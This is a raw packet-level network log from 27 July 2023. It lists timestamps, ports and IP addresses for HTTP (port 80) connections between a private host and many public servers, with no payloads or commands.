Jul 27, 2023 21:53:03.785276890 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785310030 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785331011 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785352945 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785377026 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785396099 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785414934 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785434961 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.785505056 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.785571098 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.811189890 CEST	80	49832	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:03.811289072 CEST	49832	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:03.830693007 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:03.861717939 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.878206015 CEST	80	49894	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:03.878401995 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.878782034 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.882894039 CEST	80	49891	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:03.883011103 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.895050049 CEST	80	49894	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:03.904603004 CEST	80	49894	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:03.904658079 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:03.904798031 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.904798031 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:03.908843040 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.932729959 CEST	80	49894	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:03.932832003 CEST	49894	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:03.963542938 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:03.963690996 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:03.976973057 CEST	49890	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:03.978187084 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:03.992024899 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:04.004072905 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.010828018 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.028569937 CEST	49793	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:04.038727999 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:04.038764954 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:04.038784027 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:04.038805008 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:04.038822889 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:04.038945913 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:04.039022923 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:04.050725937 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.072310925 CEST	80	49895	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:04.072771072 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.073183060 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.082988977 CEST	80	49837	217.19.237.54	192.168.2.4
Jul 27, 2023 21:53:04.083069086 CEST	49837	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:04.094531059 CEST	80	49895	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:04.094804049 CEST	80	49895	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:04.094887972 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.118508101 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:04.118647099 CEST	49897	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:04.128680944 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.136051893 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.136080027 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.137722015 CEST	49856	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:04.141150951 CEST	80	49891	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:04.141177893 CEST	80	49891	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:04.141311884 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:04.141407013 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:04.141984940 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:04.142549038 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.150352955 CEST	80	49895	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:04.150434017 CEST	49895	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:04.231893063 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.234922886 CEST	80	49890	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:04.235169888 CEST	80	49890	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:04.235194921 CEST	80	49890	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:04.235260963 CEST	49890	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:04.248148918 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.248229980 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.248846054 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.265016079 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.269567013 CEST	80	49892	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:04.269778967 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:04.281105042 CEST	49890	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:04.290498018 CEST	80	49891	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:04.348210096 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:04.348787069 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.375422955 CEST	80	49899	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:04.375818968 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.397974968 CEST	80	49896	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:04.398165941 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:04.408333063 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.435084105 CEST	80	49899	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:04.440593004 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:04.441839933 CEST	80	49899	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:04.442081928 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.457084894 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.458491087 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:04.481849909 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.490415096 CEST	80	49899	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:04.490581989 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:04.490706921 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.490770102 CEST	49903	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:04.506979942 CEST	80	49903	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:04.507240057 CEST	49903	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:04.510263920 CEST	80	49902	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:04.510373116 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.520144939 CEST	80	49901	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:04.520323992 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.532934904 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.532948017 CEST	49903	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:04.533507109 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.534001112 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.538873911 CEST	80	49890	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:04.549223900 CEST	80	49903	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:04.552617073 CEST	80	49902	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:04.552648067 CEST	80	49902	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:04.552723885 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.559812069 CEST	80	49903	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:04.559892893 CEST	49903	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:04.571218014 CEST	80	49904	135.181.73.98	192.168.2.4
Jul 27, 2023 21:53:04.571599007 CEST	80	49901	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:04.571695089 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.572066069 CEST	80	49901	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:04.572137117 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.586230040 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.586266041 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.586334944 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.610551119 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.627183914 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.636492014 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.639771938 CEST	80	49892	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:04.640748978 CEST	80	49892	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:04.640831947 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:04.651489973 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.651900053 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.671343088 CEST	80	49902	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:04.673219919 CEST	49902	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:04.673788071 CEST	80	49904	135.181.73.98	192.168.2.4
Jul 27, 2023 21:53:04.674329996 CEST	80	49904	135.181.73.98	192.168.2.4
Jul 27, 2023 21:53:04.677197933 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.690737963 CEST	80	49901	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:04.690877914 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:04.718007088 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718067884 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718091965 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718117952 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718125105 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718143940 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718164921 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718164921 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718174934 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718198061 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718200922 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718206882 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718219995 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718246937 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718266964 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.718274117 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.718316078 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.719392061 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.719955921 CEST	80	49896	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:04.721291065 CEST	80	49896	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:04.721404076 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:04.745105982 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:04.747657061 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:04.752290964 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:04.788207054 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:04.788652897 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.788685083 CEST	80	49898	104.26.2.124	192.168.2.4
Jul 27, 2023 21:53:04.789427996 CEST	49898	80	192.168.2.4	104.26.2.124
Jul 27, 2023 21:53:04.832140923 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832192898 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832226038 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832257986 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832319975 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832319975 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832319975 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832353115 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832386971 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832421064 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832451105 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832453012 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832452059 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832452059 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832452059 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832487106 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832521915 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832532883 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832534075 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832572937 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832602024 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832602024 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832637072 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832808018 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832843065 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832875967 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832882881 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832907915 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.832942963 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832942963 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.832973957 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.833667994 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.833703041 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.833734989 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.833774090 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.833817959 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.833817959 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.833893061 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.834480047 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.834513903 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.834553957 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.834584951 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.834624052 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.834624052 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.834695101 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.835297108 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.835331917 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.835364103 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.835396051 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.835407972 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.835407972 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.835474014 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.835474014 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.836198092 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.836220026 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.836302996 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.836302996 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.840922117 CEST	49863	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:04.840929985 CEST	49866	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:53:04.840930939 CEST	49864	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:04.848701000 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.848742962 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.848772049 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.848799944 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.848963976 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.848964930 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.849003077 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849036932 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849062920 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849092007 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849174023 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.849174023 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.849852085 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849883080 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849910021 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849936008 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.849982023 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.849982023 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.849982023 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.850047112 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.850433111 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.850466013 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.850644112 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.850655079 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.850676060 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.850682020 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.850703955 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.850729942 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.850749016 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.850817919 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.851562023 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.851594925 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.851622105 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.851649046 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.851727962 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.851727962 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.851727962 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.852375031 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.852408886 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.852433920 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.852458954 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.852502108 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.852546930 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.853245020 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.853283882 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.853312016 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.853338957 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.853358984 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.853358984 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.853430033 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.853430033 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.854085922 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.854120970 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.854149103 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.854177952 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.854279041 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.854279041 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.854995012 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855067968 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855098009 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855125904 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855135918 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.855155945 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.855185986 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.855248928 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.855257988 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.855257988 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.855750084 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855784893 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855814934 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855840921 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.855881929 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.855881929 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.855881929 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.856539011 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.856575012 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.856600046 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.856627941 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.856671095 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.856797934 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.857414007 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.857446909 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.857476950 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.857502937 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.857575893 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.857575893 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.858304977 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.858345985 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.858392000 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.858418941 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.858442068 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.858442068 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.858442068 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.858526945 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.859095097 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.859133005 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.859167099 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.859195948 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.859231949 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.859231949 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.859299898 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.864398003 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.864434958 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.864624023 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.865164042 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865195036 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865221977 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865247011 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865281105 CEST	80	49882	172.67.70.22	192.168.2.4
